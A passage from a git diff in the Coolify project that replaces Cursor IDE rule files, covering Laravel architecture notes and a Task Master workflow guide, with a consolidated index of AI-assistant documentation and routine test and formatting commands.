-  - Git repository integration
-  - Docker build and deployment
-  - Environment variable management
-  - SSL certificate handling
-
-#### **[Service.php](mdc:app/Models/Service.php)** (58KB, 1325 lines)
-- **Purpose**: Multi-container service orchestration
-- **Key Relationships**:
-  - `hasMany(ServiceApplication::class)` - Service components
-  - `hasMany(ServiceDatabase::class)` - Service databases
-  - `belongsTo(Environment::class)` - Environment context
-- **Key Features**:
-  - Docker Compose generation
-  - Service dependency management
-  - Health check configuration
-
-### **Team & Project Organization**
-
-#### **[Team.php](mdc:app/Models/Team.php)** (8.9KB, 308 lines)
-- **Purpose**: Multi-tenant team management
-- **Key Relationships**:
-  - `hasMany(User::class)` - Team members
-  - `hasMany(Project::class)` - Team projects
-  - `hasMany(Server::class)` - Team servers
-- **Key Features**:
-  - Resource limits and quotas
-  - Team-based access control
-  - Subscription management
-
-#### **[Project.php](mdc:app/Models/Project.php)** (4.3KB, 156 lines)
-- **Purpose**: Project organization and grouping
-- **Key Relationships**:
-  - `hasMany(Environment::class)` - Project environments
-  - `belongsTo(Team::class)` - Team ownership
-- **Key Features**:
-  - Environment isolation
-  - Resource organization
-
-#### **[Environment.php](mdc:app/Models/Environment.php)**
-- **Purpose**: Environment-specific configuration
-- **Key Relationships**:
-  - `hasMany(Application::class)` - Environment applications
-  - `hasMany(Service::class)` - Environment services
-  - `belongsTo(Project::class)` - Project context
-
-### **Database Management Models**
-
-#### **Standalone Database Models**
-- **[StandalonePostgresql.php](mdc:app/Models/StandalonePostgresql.php)** (11KB, 351 lines)
-- **[StandaloneMysql.php](mdc:app/Models/StandaloneMysql.php)** (11KB, 351 lines)
-- **[StandaloneMariadb.php](mdc:app/Models/StandaloneMariadb.php)** (10KB, 337 lines)
-- **[StandaloneMongodb.php](mdc:app/Models/StandaloneMongodb.php)** (12KB, 370 lines)
-- **[StandaloneRedis.php](mdc:app/Models/StandaloneRedis.php)** (12KB, 394 lines)
-- **[StandaloneKeydb.php](mdc:app/Models/StandaloneKeydb.php)** (11KB, 347 lines)
-- **[StandaloneDragonfly.php](mdc:app/Models/StandaloneDragonfly.php)** (11KB, 347 lines)
-- **[StandaloneClickhouse.php](mdc:app/Models/StandaloneClickhouse.php)** (10KB, 336 lines)
-
-**Common Features**:
-- Database configuration management
-- Backup scheduling and execution
-- Connection string generation
-- Health monitoring
-
-### **Configuration & Settings**
-
-#### **[EnvironmentVariable.php](mdc:app/Models/EnvironmentVariable.php)** (7.6KB, 219 lines)
-- **Purpose**: Application environment variable management
-- **Key Features**:
-  - Encrypted value storage
-  - Build-time vs runtime variables
-  - Shared variable inheritance
-
-#### **[InstanceSettings.php](mdc:app/Models/InstanceSettings.php)** (3.2KB, 124 lines)
-- **Purpose**: Global Coolify instance configuration
-- **Key Features**:
-  - FQDN and port configuration
-  - Auto-update settings
-  - Security configurations
-
-## Architectural Patterns
-
-### **Action Pattern** ([app/Actions/](mdc:app/Actions))
-
-Using [lorisleiva/laravel-actions](mdc:composer.json) for business logic encapsulation:
-
-```php
-// Example Action structure
-class DeployApplication extends Action
-{
-    public function handle(Application $application): void
-    {
-        // Business logic for deployment
-    }
-    
-    public function asJob(Application $application): void
-    {
-        // Queue job implementation
-    }
-}
-```
-
-**Key Action Categories**:
-- **Application/**: Deployment and management actions
-- **Database/**: Database operations
-- **Server/**: Server management actions
-- **Service/**: Service orchestration actions
-
-### **Repository Pattern** ([app/Repositories/](mdc:app/Repositories))
-
-Data access abstraction layer:
-- Encapsulates database queries
-- Provides testable data layer
-- Abstracts complex query logic
-
-### **Service Layer** ([app/Services/](mdc:app/Services))
-
-Business logic services:
-- External API integrations
-- Complex business operations
-- Cross-cutting concerns
-
-## Data Flow Architecture
-
-### **Request Lifecycle**
-
-1. **HTTP Request** → [routes/web.php](mdc:routes/web.php)
-2. **Middleware** → Authentication, authorization
-3. **Livewire Component** → [app/Livewire/](mdc:app/Livewire)
-4. **Action/Service** → Business logic execution
-5. **Model/Repository** → Data persistence
-6. **Response** → Livewire reactive update
-
-### **Background Processing**
-
-1. **Job Dispatch** → Queue system (Redis)
-2. **Job Processing** → [app/Jobs/](mdc:app/Jobs)
-3. **Action Execution** → Business logic
-4. **Event Broadcasting** → Real-time updates
-5. **Notification** → User feedback
-
-## Security Architecture
-
-### **Multi-Tenant Isolation**
-
-```php
-// Team-based query scoping
-class Application extends Model
-{
-    public function scopeOwnedByCurrentTeam($query)
-    {
-        return $query->whereHas('environment.project.team', function ($q) {
-            $q->where('id', currentTeam()->id);
-        });
-    }
-}
-```
-
-### **Authorization Layers**
-
-1. **Team Membership** → User belongs to team
-2. **Resource Ownership** → Resource belongs to team
-3. **Policy Authorization** → [app/Policies/](mdc:app/Policies)
-4. **Environment Isolation** → Project/environment boundaries
-
-### **Data Protection**
-
-- **Environment Variables**: Encrypted at rest
-- **SSH Keys**: Secure storage and transmission
-- **API Tokens**: Sanctum-based authentication
-- **Audit Logging**: [spatie/laravel-activitylog](mdc:composer.json)
-
-## Configuration Hierarchy
-
-### **Global Configuration**
-- **[InstanceSettings](mdc:app/Models/InstanceSettings.php)**: System-wide settings
-- **[config/](mdc:config)**: Laravel configuration files
-
-### **Team Configuration**
-- **[Team](mdc:app/Models/Team.php)**: Team-specific settings
-- **[ServerSetting](mdc:app/Models/ServerSetting.php)**: Server configurations
-
-### **Project Configuration**
-- **[ProjectSetting](mdc:app/Models/ProjectSetting.php)**: Project settings
-- **[Environment](mdc:app/Models/Environment.php)**: Environment variables
-
-### **Application Configuration**
-- **[ApplicationSetting](mdc:app/Models/ApplicationSetting.php)**: App-specific settings
-- **[EnvironmentVariable](mdc:app/Models/EnvironmentVariable.php)**: Runtime configuration
-
-## Event-Driven Architecture
-
-### **Event Broadcasting** ([app/Events/](mdc:app/Events))
-
-Real-time updates using Laravel Echo and WebSockets:
-
-```php
-// Example event structure
-class ApplicationDeploymentStarted implements ShouldBroadcast
-{
-    public function broadcastOn(): array
-    {
-        return [
-            new PrivateChannel("team.{$this->application->team->id}"),
-        ];
-    }
-}
-```
-
-### **Event Listeners** ([app/Listeners/](mdc:app/Listeners))
-
-- Deployment status updates
-- Resource monitoring alerts
-- Notification dispatching
-- Audit log creation
-
-## Database Design Patterns
-
-### **Polymorphic Relationships**
-
-```php
-// Environment variables can belong to multiple resource types
-class EnvironmentVariable extends Model
-{
-    public function resource(): MorphTo
-    {
-        return $this->morphTo();
-    }
-}
-```
-
-### **Team-Based Soft Scoping**
-
-All major resources include team-based query scoping:
-
-```php
-// Automatic team filtering
-$applications = Application::ownedByCurrentTeam()->get();
-$servers = Server::ownedByCurrentTeam()->get();
-```
-
-### **Configuration Inheritance**
-
-Environment variables cascade from:
-1. **Shared Variables** → Team-wide defaults
-2. **Project Variables** → Project-specific overrides
-3. **Application Variables** → Application-specific values
-
-## Integration Patterns
-
-### **Git Provider Integration**
-
-Abstracted git operations supporting:
-- **GitHub**: [app/Models/GithubApp.php](mdc:app/Models/GithubApp.php)
-- **GitLab**: [app/Models/GitlabApp.php](mdc:app/Models/GitlabApp.php)
-- **Bitbucket**: Webhook integration
-- **Gitea**: Self-hosted Git support
-
-### **Docker Integration**
-
-- **Container Management**: Direct Docker API communication
-- **Image Building**: Dockerfile and Buildpack support
-- **Network Management**: Custom Docker networks
-- **Volume Management**: Persistent storage handling
-
-### **SSH Communication**
-
-- **[phpseclib/phpseclib](mdc:composer.json)**: Secure SSH connections
-- **Multiplexing**: Connection pooling for efficiency
-- **Key Management**: [PrivateKey](mdc:app/Models/PrivateKey.php) model
-
-## Testing Architecture
-
-### **Test Structure** ([tests/](mdc:tests))
-
-```
-tests/
-├── Feature/           # Integration tests
-├── Unit/              # Unit tests
-├── Browser/           # Dusk browser tests
-├── Traits/            # Test helper traits
-├── Pest.php           # Pest configuration
-└── TestCase.php       # Base test case
-```
-
-### **Testing Patterns**
-
-- **Feature Tests**: Full request lifecycle testing
-- **Unit Tests**: Individual class/method testing
-- **Browser Tests**: End-to-end user workflows
-- **Database Testing**: Factories and seeders
-
-## Performance Considerations
-
-### **Query Optimization**
-
-- **Eager Loading**: Prevent N+1 queries
-- **Query Scoping**: Team-based filtering
-- **Database Indexing**: Optimized for common queries
-
-### **Caching Strategy**
-
-- **Redis**: Session and cache storage
-- **Model Caching**: Frequently accessed data
-- **Query Caching**: Expensive query results
-
-### **Background Processing**
-
-- **Queue Workers**: Horizon-managed job processing
-- **Job Batching**: Related job grouping
-- **Failed Job Handling**: Automatic retry logic
diff --git a/.cursor/rules/coolify-ai-docs.mdc b/.cursor/rules/coolify-ai-docs.mdc
new file mode 100644
index 000000000..d99cc1692
--- /dev/null
+++ b/.cursor/rules/coolify-ai-docs.mdc
@@ -0,0 +1,156 @@
+---
+title: Coolify AI Documentation
+description: Master reference to all Coolify AI documentation in .ai/ directory
+globs: **/*
+alwaysApply: true
+---
+
+# Coolify AI Documentation
+
+All Coolify AI documentation has been consolidated in the **`.ai/`** directory for better organization and single source of truth.
+
+## Quick Start
+
+- **For Claude Code**: Start with `CLAUDE.md` in the root directory
+- **For Cursor IDE**: Start with `.ai/README.md` for navigation
+- **For All AI Tools**: Browse `.ai/` directory by topic
+
+## Documentation Structure
+
+All detailed documentation lives in `.ai/` with the following organization:
+
+### 📚 Core Documentation
+- **[Technology Stack](.ai/core/technology-stack.md)** - All versions, packages, dependencies (SINGLE SOURCE OF TRUTH for versions)
+- **[Project Overview](.ai/core/project-overview.md)** - What Coolify is, high-level architecture
+- **[Application Architecture](.ai/core/application-architecture.md)** - System design, components, relationships
+- **[Deployment Architecture](.ai/core/deployment-architecture.md)** - Deployment flows, Docker, proxies
+
+### 💻 Development
+- **[Development Workflow](.ai/development/development-workflow.md)** - Dev setup, commands, daily workflows
+- **[Testing Patterns](.ai/development/testing-patterns.md)** - How to write/run tests, Docker requirements
+- **[Laravel Boost](.ai/development/laravel-boost.md)** - Laravel-specific guidelines (SINGLE SOURCE for Laravel Boost)
+
+### 🎨 Code Patterns
+- **[Database Patterns](.ai/patterns/database-patterns.md)** - Eloquent, migrations, relationships
+- **[Frontend Patterns](.ai/patterns/frontend-patterns.md)** - Livewire, Alpine.js, Tailwind CSS
+- **[Security Patterns](.ai/patterns/security-patterns.md)** - Auth, authorization, security
+- **[Form Components](.ai/patterns/form-components.md)** - Enhanced forms with authorization
+- **[API & Routing](.ai/patterns/api-and-routing.md)** - API design, routing conventions
+
+### 📖 Meta
+- **[Maintaining Docs](.ai/meta/maintaining-docs.md)** - How to update/improve documentation
+- **[Sync Guide](.ai/meta/sync-guide.md)** - Keeping docs synchronized
+
+## Quick Decision Tree
+
+**What are you working on?**
+
+### Running Commands
+→ `.ai/development/development-workflow.md`
+- `npm run dev` / `npm run build` - Frontend
+- `php artisan serve` / `php artisan migrate` - Backend
+- `docker exec coolify php artisan test` - Feature tests (requires Docker)
+- `./vendor/bin/pest tests/Unit` - Unit tests (no Docker needed)
+- `./vendor/bin/pint` - Code formatting
+
+### Writing Tests
+→ `.ai/development/testing-patterns.md`
+- **Unit tests**: No database, use mocking, run outside Docker
+- **Feature tests**: Can use database, MUST run inside Docker
+- Critical: Docker execution requirements prevent database connection errors
+
+### Building UI
+→ `.ai/patterns/frontend-patterns.md` + `.ai/patterns/form-components.md`
+- Livewire 3.5.20 with server-side state
+- Alpine.js for client interactions
+- Tailwind CSS 4.1.4 styling
+- Form components with `canGate` authorization
+
+### Database Work
+→ `.ai/patterns/database-patterns.md`
+- Eloquent ORM patterns
+- Migration best practices
+- Relationship definitions
+- Query optimization
+
+### Security & Authorization
+→ `.ai/patterns/security-patterns.md` + `.ai/patterns/form-components.md`
+- Team-based access control
+- Policy and gate patterns
+- Form authorization (`canGate`, `canResource`)
+- API security with Sanctum
+
+### Laravel-Specific
+→ `.ai/development/laravel-boost.md`
+- Laravel 12.4.1 patterns
+- Livewire 3 best practices
+- Pest testing patterns
+- Laravel conventions
+
+### Version Numbers
+→ `.ai/core/technology-stack.md`
+- **SINGLE SOURCE OF TRUTH** for all version numbers
+- Laravel 12.4.1, PHP 8.4.7, Tailwind 4.1.4, etc.
+- Never duplicate versions - always reference this file
+
+## Critical Patterns (Always Follow)
+
+### Testing Commands
+```bash
+# Unit tests (no database, outside Docker)
+./vendor/bin/pest tests/Unit
+
+# Feature tests (requires database, inside Docker)
+docker exec coolify php artisan test
+```
+
+**NEVER** run Feature tests outside Docker - they will fail with database connection errors.
+
+### Form Authorization
+ALWAYS include authorization on form components:
+```blade
+<x-forms.input canGate="update" :canResource="$resource" id="name" label="Name" />
+```
+
+### Livewire Components
+MUST have exactly ONE root element. No exceptions.
+
+### Version Numbers
+Use exact versions from `technology-stack.md`:
+- ✅ Laravel 12.4.1
+- ❌ Laravel 12 or "v12"
+
+### Code Style
+```bash
+# Always run before committing
+./vendor/bin/pint
+```
+
+## For AI Assistants
+
+### Important Notes
+1. **Single Source of Truth**: Each piece of information exists in ONE location only
+2. **Cross-Reference, Don't Duplicate**: Link to other files instead of copying content
+3. **Version Precision**: Always use exact versions from `technology-stack.md`
+4. **Docker for Feature Tests**: This is non-negotiable for database-dependent tests
+5. **Form Authorization**: Security requirement, not optional
+
+### When to Use Which File
+- **Quick commands**: `CLAUDE.md` or `development-workflow.md`
+- **Detailed patterns**: Topic-specific files in `.ai/patterns/`
+- **Testing**: `.ai/development/testing-patterns.md`
+- **Laravel specifics**: `.ai/development/laravel-boost.md`
+- **Versions**: `.ai/core/technology-stack.md`
+
+## Maintaining Documentation
+
+When updating documentation:
+1. Read `.ai/meta/maintaining-docs.md` first
+2. Follow single source of truth principle
+3. Update cross-references when moving content
+4. Test all links work
+5. See `.ai/meta/sync-guide.md` for sync guidelines
+
+## Migration Note
+
+This file replaces all previous `.cursor/rules/*.mdc` files. All content has been migrated to `.ai/` directory for better organization and to serve as single source of truth for all AI tools (Claude Code, Cursor IDE, etc.).
diff --git a/.cursor/rules/cursor_rules.mdc b/.cursor/rules/cursor_rules.mdc
deleted file mode 100644
index 9edccd496..000000000
--- a/.cursor/rules/cursor_rules.mdc
+++ /dev/null
@@ -1,59 +0,0 @@
----
-description: Guidelines for creating and maintaining Cursor rules to ensure consistency and effectiveness.
-globs: .cursor/rules/*.mdc
-alwaysApply: true
----
-
-# Cursor Rules Maintenance Guide
-
-> **Important**: These rules in `.cursor/rules/` are shared between Cursor IDE and other AI assistants. Changes here should be reflected in **[CLAUDE.md](mdc:CLAUDE.md)** when they affect core workflows or patterns.
->
-> **Synchronization Guide**: See **[.AI_INSTRUCTIONS_SYNC.md](mdc:.AI_INSTRUCTIONS_SYNC.md)** for detailed guidelines on maintaining consistency between CLAUDE.md and .cursor/rules/.
-
-- **Required Rule Structure:**
-  ```markdown
-  ---
-  description: Clear, one-line description of what the rule enforces
-  globs: path/to/files/*.ext, other/path/**/*
-  alwaysApply: boolean
-  ---
-
-  - **Main Points in Bold**
-    - Sub-points with details
-    - Examples and explanations
-  ```
-
-- **File References:**
-  - Use `[filename](mdc:path/to/file)` ([filename](mdc:filename)) to reference files
-  - Example: [prisma.mdc](mdc:.cursor/rules/prisma.mdc) for rule references
-  - Example: [schema.prisma](mdc:prisma/schema.prisma) for code references
-
-- **Code Examples:**
-  - Use language-specific code blocks
-  ```typescript
-  // ✅ DO: Show good examples
-  const goodExample = true;
-  
-  // ❌ DON'T: Show anti-patterns
-  const badExample = false;
-  ```
-
-- **Rule Content Guidelines:**
-  - Start with high-level overview
-  - Include specific, actionable requirements
-  - Show examples of correct implementation
-  - Reference existing code when possible
-  - Keep rules DRY by referencing other rules
-
-- **Rule Maintenance:**
-  - Update rules when new patterns emerge
-  - Add examples from actual codebase
-  - Remove outdated patterns
-  - Cross-reference related rules
-
-- **Best Practices:**
-  - Use bullet points for clarity
-  - Keep descriptions concise
-  - Include both DO and DON'T examples
-  - Reference actual code over theoretical examples
-  - Use consistent formatting across rules 
\ No newline at end of file
diff --git a/.cursor/rules/dev_workflow.mdc b/.cursor/rules/dev_workflow.mdc
deleted file mode 100644
index 003251d8a..000000000
--- a/.cursor/rules/dev_workflow.mdc
+++ /dev/null
@@ -1,219 +0,0 @@
----
-description: Guide for using Task Master to manage task-driven development workflows
-globs: **/*
-alwaysApply: true
----
-# Task Master Development Workflow
-
-This guide outlines the typical process for using Task Master to manage software development projects.
-
-## Primary Interaction: MCP Server vs. CLI
-
-Task Master offers two primary ways to interact:
-
-1.  **MCP Server (Recommended for Integrated Tools)**:
-    - For AI agents and integrated development environments (like Cursor), interacting via the **MCP server is the preferred method**.
-    - The MCP server exposes Task Master functionality through a set of tools (e.g., `get_tasks`, `add_subtask`).
-    - This method offers better performance, structured data exchange, and richer error handling compared to CLI parsing.
-    - Refer to [`mcp.mdc`](mdc:.cursor/rules/mcp.mdc) for details on the MCP architecture and available tools.
-    - A comprehensive list and description of MCP tools and their corresponding CLI commands can be found in [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc).
-    - **Restart the MCP server** if core logic in `scripts/modules` or MCP tool/direct function definitions change.
-
-2.  **`task-master` CLI (For Users & Fallback)**:
-    - The global `task-master` command provides a user-friendly interface for direct terminal interaction.
-    - It can also serve as a fallback if the MCP server is inaccessible or a specific function isn't exposed via MCP.
-    - Install globally with `npm install -g task-master-ai` or use locally via `npx task-master-ai ...`.
-    - The CLI commands often mirror the MCP tools (e.g., `task-master list` corresponds to `get_tasks`).
-    - Refer to [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc) for a detailed command reference.
-
-## Standard Development Workflow Process
-
--   Start new projects by running `initialize_project` tool / `task-master init` or `parse_prd` / `task-master parse-prd --input='<prd-file.txt>'` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) to generate initial tasks.json
--   Begin coding sessions with `get_tasks` / `task-master list` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) to see current tasks, status, and IDs
--   Determine the next task to work on using `next_task` / `task-master next` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)).
--   Analyze task complexity with `analyze_project_complexity` / `task-master analyze-complexity --research` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) before breaking down tasks
--   Review complexity report using `complexity_report` / `task-master complexity-report` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)).
--   Select tasks based on dependencies (all marked 'done'), priority level, and ID order
--   Clarify tasks by checking task files in tasks/ directory or asking for user input
--   View specific task details using `get_task` / `task-master show <id>` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) to understand implementation requirements
--   Break down complex tasks using `expand_task` / `task-master expand --id=<id> --force --research` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) with appropriate flags like `--force` (to replace existing subtasks) and `--research`.
--   Clear existing subtasks if needed using `clear_subtasks` / `task-master clear-subtasks --id=<id>` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) before regenerating
--   Implement code following task details, dependencies, and project standards
--   Verify tasks according to test strategies before marking as complete (See [`tests.mdc`](mdc:.cursor/rules/tests.mdc))
--   Mark completed tasks with `set_task_status` / `task-master set-status --id=<id> --status=done` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc))
--   Update dependent tasks when implementation differs from original plan using `update` / `task-master update --from=<id> --prompt="..."` or `update_task` / `task-master update-task --id=<id> --prompt="..."` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc))
--   Add new tasks discovered during implementation using `add_task` / `task-master add-task --prompt="..." --research` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)).
--   Add new subtasks as needed using `add_subtask` / `task-master add-subtask --parent=<id> --title="..."` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)).
--   Append notes or details to subtasks using `update_subtask` / `task-master update-subtask --id=<subtaskId> --prompt='Add implementation notes here...\nMore details...'` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)).
--   Generate task files with `generate` / `task-master generate` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) after updating tasks.json
--   Maintain valid dependency structure with `add_dependency`/`remove_dependency` tools or `task-master add-dependency`/`remove-dependency` commands, `validate_dependencies` / `task-master validate-dependencies`, and `fix_dependencies` / `task-master fix-dependencies` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) when needed
--   Respect dependency chains and task priorities when selecting work
--   Report progress regularly using `get_tasks` / `task-master list`
-
-## Task Complexity Analysis
-
--   Run `analyze_project_complexity` / `task-master analyze-complexity --research` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) for comprehensive analysis
--   Review complexity report via `complexity_report` / `task-master complexity-report` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) for a formatted, readable version.
--   Focus on tasks with highest complexity scores (8-10) for detailed breakdown
--   Use analysis results to determine appropriate subtask allocation
--   Note that reports are automatically used by the `expand_task` tool/command
-
-## Task Breakdown Process
-
--   Use `expand_task` / `task-master expand --id=<id>`. It automatically uses the complexity report if found, otherwise generates default number of subtasks.
--   Use `--num=<number>` to specify an explicit number of subtasks, overriding defaults or complexity report recommendations.
--   Add `--research` flag to leverage Perplexity AI for research-backed expansion.
--   Add `--force` flag to clear existing subtasks before generating new ones (default is to append).
--   Use `--prompt="<context>"` to provide additional context when needed.
--   Review and adjust generated subtasks as necessary.
--   Use `expand_all` tool or `task-master expand --all` to expand multiple pending tasks at once, respecting flags like `--force` and `--research`.
--   If subtasks need complete replacement (regardless of the `--force` flag on `expand`), clear them first with `clear_subtasks` / `task-master clear-subtasks --id=<id>`.
-
-## Implementation Drift Handling
-
--   When implementation differs significantly from planned approach
--   When future tasks need modification due to current implementation choices
--   When new dependencies or requirements emerge
--   Use `update` / `task-master update --from=<futureTaskId> --prompt='<explanation>\nUpdate context...' --research` to update multiple future tasks.
--   Use `update_task` / `task-master update-task --id=<taskId> --prompt='<explanation>\nUpdate context...' --research` to update a single specific task.
-
-## Task Status Management
-
--   Use 'pending' for tasks ready to be worked on
--   Use 'done' for completed and verified tasks
--   Use 'deferred' for postponed tasks
--   Add custom status values as needed for project-specific workflows
-
-## Task Structure Fields
-
-- **id**: Unique identifier for the task (Example: `1`, `1.1`)
-- **title**: Brief, descriptive title (Example: `"Initialize Repo"`)
-- **description**: Concise summary of what the task involves (Example: `"Create a new repository, set up initial structure."`)
-- **status**: Current state of the task (Example: `"pending"`, `"done"`, `"deferred"`)
-- **dependencies**: IDs of prerequisite tasks (Example: `[1, 2.1]`)
-    - Dependencies are displayed with status indicators (✅ for completed, ⏱️ for pending)
-    - This helps quickly identify which prerequisite tasks are blocking work
-- **priority**: Importance level (Example: `"high"`, `"medium"`, `"low"`)
-- **details**: In-depth implementation instructions (Example: `"Use GitHub client ID/secret, handle callback, set session token."`) 
-- **testStrategy**: Verification approach (Example: `"Deploy and call endpoint to confirm 'Hello World' response."`) 
-- **subtasks**: List of smaller, more specific tasks (Example: `[{"id": 1, "title": "Configure OAuth", ...}]`) 
-- Refer to task structure details (previously linked to `tasks.mdc`).
-
-## Configuration Management (Updated)
-
-Taskmaster configuration is managed through two main mechanisms:
-
-1.  **`.taskmasterconfig` File (Primary):**
-    *   Located in the project root directory.
-    *   Stores most configuration settings: AI model selections (main, research, fallback), parameters (max tokens, temperature), logging level, default subtasks/priority, project name, etc.
-    *   **Managed via `task-master models --setup` command.** Do not edit manually unless you know what you are doing.
-    *   **View/Set specific models via `task-master models` command or `models` MCP tool.**
-    *   Created automatically when you run `task-master models --setup` for the first time.
-
-2.  **Environment Variables (`.env` / `mcp.json`):**
-    *   Used **only** for sensitive API keys and specific endpoint URLs.
-    *   Place API keys (one per provider) in a `.env` file in the project root for CLI usage.
-    *   For MCP/Cursor integration, configure these keys in the `env` section of `.cursor/mcp.json`.
-    *   Available keys/variables: See `assets/env.example` or the Configuration section in the command reference (previously linked to `taskmaster.mdc`).
-
-**Important:** Non-API key settings (like model selections, `MAX_TOKENS`, `TASKMASTER_LOG_LEVEL`) are **no longer configured via environment variables**. Use the `task-master models` command (or `--setup` for interactive configuration) or the `models` MCP tool.
-**If AI commands FAIL in MCP** verify that the API key for the selected provider is present in the `env` section of `.cursor/mcp.json`.
-**If AI commands FAIL in CLI** verify that the API key for the selected provider is present in the `.env` file in the root of the project.
-
-## Determining the Next Task
-
-- Run `next_task` / `task-master next` to show the next task to work on.
-- The command identifies tasks with all dependencies satisfied
-- Tasks are prioritized by priority level, dependency count, and ID
-- The command shows comprehensive task information including:
-    - Basic task details and description
-    - Implementation details
-    - Subtasks (if they exist)
-    - Contextual suggested actions
-- Recommended before starting any new development work
-- Respects your project's dependency structure
-- Ensures tasks are completed in the appropriate sequence
-- Provides ready-to-use commands for common task actions
-
-## Viewing Specific Task Details
-
-- Run `get_task` / `task-master show <id>` to view a specific task.
-- Use dot notation for subtasks: `task-master show 1.2` (shows subtask 2 of task 1)
-- Displays comprehensive information similar to the next command, but for a specific task
-- For parent tasks, shows all subtasks and their current status
-- For subtasks, shows parent task information and relationship
-- Provides contextual suggested actions appropriate for the specific task
-- Useful for examining task details before implementation or checking status
-
-## Managing Task Dependencies
-
-- Use `add_dependency` / `task-master add-dependency --id=<id> --depends-on=<id>` to add a dependency.
-- Use `remove_dependency` / `task-master remove-dependency --id=<id> --depends-on=<id>` to remove a dependency.
-- The system prevents circular dependencies and duplicate dependency entries
-- Dependencies are checked for existence before being added or removed
-- Task files are automatically regenerated after dependency changes
-- Dependencies are visualized with status indicators in task listings and files
-
-## Iterative Subtask Implementation
-
-Once a task has been broken down into subtasks using `expand_task` or similar methods, follow this iterative process for implementation:
-
-1.  **Understand the Goal (Preparation):**
-    *   Use `get_task` / `task-master show <subtaskId>` (see [`taskmaster.mdc`](mdc:.cursor/rules/taskmaster.mdc)) to thoroughly understand the specific goals and requirements of the subtask.
-
-2.  **Initial Exploration & Planning (Iteration 1):**
-    *   This is the first attempt at creating a concrete implementation plan.
-    *   Explore the codebase to identify the precise files, functions, and even specific lines of code that will need modification.
-    *   Determine the intended code changes (diffs) and their locations.
-    *   Gather *all* relevant details from this exploration phase.
-
-3.  **Log the Plan:**
-    *   Run `update_subtask` / `task-master update-subtask --id=<subtaskId> --prompt='<detailed plan>'`.
-    *   Provide the *complete and detailed* findings from the exploration phase in the prompt. Include file paths, line numbers, proposed diffs, reasoning, and any potential challenges identified. Do not omit details. The goal is to create a rich, timestamped log within the subtask's `details`.
-
-4.  **Verify the Plan:**
-    *   Run `get_task` / `task-master show <subtaskId>` again to confirm that the detailed implementation plan has been successfully appended to the subtask's details.
-
-5.  **Begin Implementation:**
-    *   Set the subtask status using `set_task_status` / `task-master set-status --id=<subtaskId> --status=in-progress`.
-    *   Start coding based on the logged plan.
-
-6.  **Refine and Log Progress (Iteration 2+):**
-    *   As implementation progresses, you will encounter challenges, discover nuances, or confirm successful approaches.
-    *   **Before appending new information**: Briefly review the *existing* details logged in the subtask (using `get_task` or recalling from context) to ensure the update adds fresh insights and avoids redundancy.
-    *   **Regularly** use `update_subtask` / `task-master update-subtask --id=<subtaskId> --prompt='<update details>\n- What worked...\n- What didn't work...'` to append new findings.
-    *   **Crucially, log:**
-        *   What worked ("fundamental truths" discovered).
-        *   What didn't work and why (to avoid repeating mistakes).
-        *   Specific code snippets or configurations that were successful.
-        *   Decisions made, especially if confirmed with user input.
-        *   Any deviations from the initial plan and the reasoning.
-    *   The objective is to continuously enrich the subtask's details, creating a log of the implementation journey that helps the AI (and human developers) learn, adapt, and avoid repeating errors.
-
-7.  **Review & Update Rules (Post-Implementation):**
-    *   Once the implementation for the subtask is functionally complete, review all code changes and the relevant chat history.
-    *   Identify any new or modified code patterns, conventions, or best practices established during the implementation.
-    *   Create new or update existing rules following internal guidelines (previously linked to `cursor_rules.mdc` and `self_improve.mdc`).
-
-8.  **Mark Task Complete:**
-    *   After verifying the implementation and updating any necessary rules, mark the subtask as completed: `set_task_status` / `task-master set-status --id=<subtaskId> --status=done`.
-
-9.  **Commit Changes (If using Git):**
-    *   Stage the relevant code changes and any updated/new rule files (`git add .`).
-    *   Craft a comprehensive Git commit message summarizing the work done for the subtask, including both code implementation and any rule adjustments.
-    *   Execute the commit command directly in the terminal (e.g., `git commit -m 'feat(module): Implement feature X for subtask <subtaskId>\n\n- Details about changes...\n- Updated rule Y for pattern Z'`).
-    *   Consider if a Changeset is needed according to internal versioning guidelines (previously linked to `changeset.mdc`). If so, run `npm run changeset`, stage the generated file, and amend the commit or create a new one.
-
-10. **Proceed to Next Subtask:**
-    *   Identify the next subtask (e.g., using `next_task` / `task-master next`).
-
-## Code Analysis & Refactoring Techniques
-
-- **Top-Level Function Search**:
-    - Useful for understanding module structure or planning refactors.
-    - Use grep/ripgrep to find exported functions/constants:
-      `rg "export (async function|function|const) \w+"` or similar patterns.
-    - Can help compare functions between files during migrations or identify potential naming conflicts.
-
----
-*This workflow provides a general guideline. Adapt it based on your specific project needs and team practices.*
\ No newline at end of file
diff --git a/.cursor/rules/frontend-patterns.mdc b/.cursor/rules/frontend-patterns.mdc
deleted file mode 100644
index 663490d3b..000000000
--- a/.cursor/rules/frontend-patterns.mdc
+++ /dev/null
@@ -1,354 +0,0 @@
----
-description: Livewire components, Alpine.js patterns, Tailwind CSS, and enhanced form components
-globs: app/Livewire/**/*.php, resources/views/**/*.blade.php, resources/js/**/*.js, resources/css/**/*.css
-alwaysApply: false
----
-# Coolify Frontend Architecture & Patterns
-
-## Frontend Philosophy
-
-Coolify uses a **server-side first** approach with minimal JavaScript, leveraging Livewire for reactivity and Alpine.js for lightweight client-side interactions.
-
-## Core Frontend Stack
-
-### Livewire 3.5+ (Primary Framework)
-- **Server-side rendering** with reactive components
-- **Real-time updates** without page refreshes
